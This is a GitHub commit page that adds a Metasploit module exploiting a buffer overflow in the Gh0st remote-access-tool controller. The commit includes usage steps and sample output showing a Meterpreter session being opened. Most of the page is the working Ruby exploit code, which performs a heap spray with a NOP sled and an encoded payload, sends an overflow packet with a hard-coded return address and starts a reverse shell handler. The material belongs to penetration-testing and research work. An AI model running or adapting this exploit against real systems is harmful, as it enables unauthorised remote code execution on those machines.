Skip to content

Commit c336dae

Browse files
Added Gh0st Controller Buffer Overflow Module
This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim. This vulnerability can allow remote code execution ## Verification Run the Gh0st C2 server on a target windows machine. The sample 0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c is a Gh0st 3.6 server that works good for testing. - [ ] use exploit/windows/misc/gh0st - [ ] set RHOST [ip of target] - [ ] exploit Sample output: ``` msf > use exploit/windows/misc/gh0st msf exploit(gh0st) > set rhost 192.168.161.128 rhost => 192.168.161.128 msf exploit(gh0st) > exploit [*] Started reverse TCP handler on 192.168.161.1:4444 [*] 192.168.161.128:80 - Trying target Gh0st Beta 3.6 [*] 192.168.161.128:80 - Spraying heap... [*] 192.168.161.128:80 - Trying command 103... [*] Sending stage (957487 bytes) to 192.168.161.128 [*] Meterpreter session 1 opened (192.168.161.1:4444 -> 192.168.161.128:49161) at 2017-07-29 10:11:4
1 parent c5021bf commit c336dae

File tree

1 file changed

+128
-0
lines changed

1 file changed

+128
-0
lines changed
Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'zlib'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
include Msf::Exploit::Remote::Tcp
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Gh0st Client buffer Overflow',
15+
'Description' => %q{
16+
This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
17+
},
18+
'Author' => 'Professor Plum',
19+
'License' => MSF_LICENSE,
20+
'References' =>
21+
[
22+
],
23+
'DefaultOptions' =>
24+
{
25+
'EXITFUNC' => 'thread',
26+
'AllowWin32SEH' => true
27+
},
28+
'Payload' =>
29+
{
30+
'Space' => 1000,
31+
'BadChars' => '',
32+
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
33+
},
34+
'Platform' => 'win',
35+
'DisclosureDate' => 'Jul 27 2017',
36+
'Targets' =>
37+
[
38+
['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
39+
],
40+
'Privileged' => false,
41+
'DefaultTarget' => 0))
42+
43+
register_options(
44+
[
45+
OptString.new('MAGIC', [true, 'the 5 char magic used by the server', 'Gh0st']),
46+
Opt::RPORT(80)
47+
], self.class
48+
)
49+
end
50+
51+
def make_packet(id, data)
52+
msg = id.chr + data
53+
compressed = Zlib::Deflate.deflate(msg)
54+
datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
55+
end
56+
57+
def validate_response(data)
58+
if data.nil?
59+
print_status('Server closed connection')
60+
return false
61+
end
62+
if data.empty?
63+
print_status('No response recieved')
64+
return false
65+
end
66+
if data.size < 13
67+
print_status('Invalid packet')
68+
print_status(data)
69+
return false
70+
end
71+
mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
72+
if mag.index(datastore['MAGIC']) != 0
73+
print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
74+
return false
75+
end
76+
if pktlen != data.size
77+
print_status('Packet size mismatch')
78+
return false
79+
end
80+
msg = Zlib::Inflate.inflate(data[13..data.size])
81+
if msg.size != msglen
82+
print_status('Packet decompress failure')
83+
return false
84+
end
85+
# print_status(msg.ord.to_s)
86+
return true
87+
end
88+
89+
def check
90+
connect
91+
sock.put(make_packet(101, "\x00")) # heartbeat
92+
if validate_response(sock.get_once || '')
93+
return Exploit::CheckCode::Appears
94+
end
95+
Exploit::CheckCode::Safe
96+
end
97+
98+
def exploit
99+
print_status("Trying target #{target.name}")
100+
print_status('Spraying heap...')
101+
for i in 0..100
102+
connect
103+
sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
104+
if not validate_response(sock.get_once)
105+
disconnect
106+
return
107+
end
108+
end
109+
110+
for i in 103..107
111+
print_status("Trying command #{i}...")
112+
begin
113+
connect
114+
sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
115+
sock.put(sploit)
116+
if validate_response(sock.get_once)
117+
next
118+
end
119+
sleep(0.1)
120+
break
121+
rescue EOFError
122+
print_status('Invalid')
123+
end
124+
end
125+
handler
126+
disconnect
127+
end
128+
end

0 commit comments

Comments
 (0)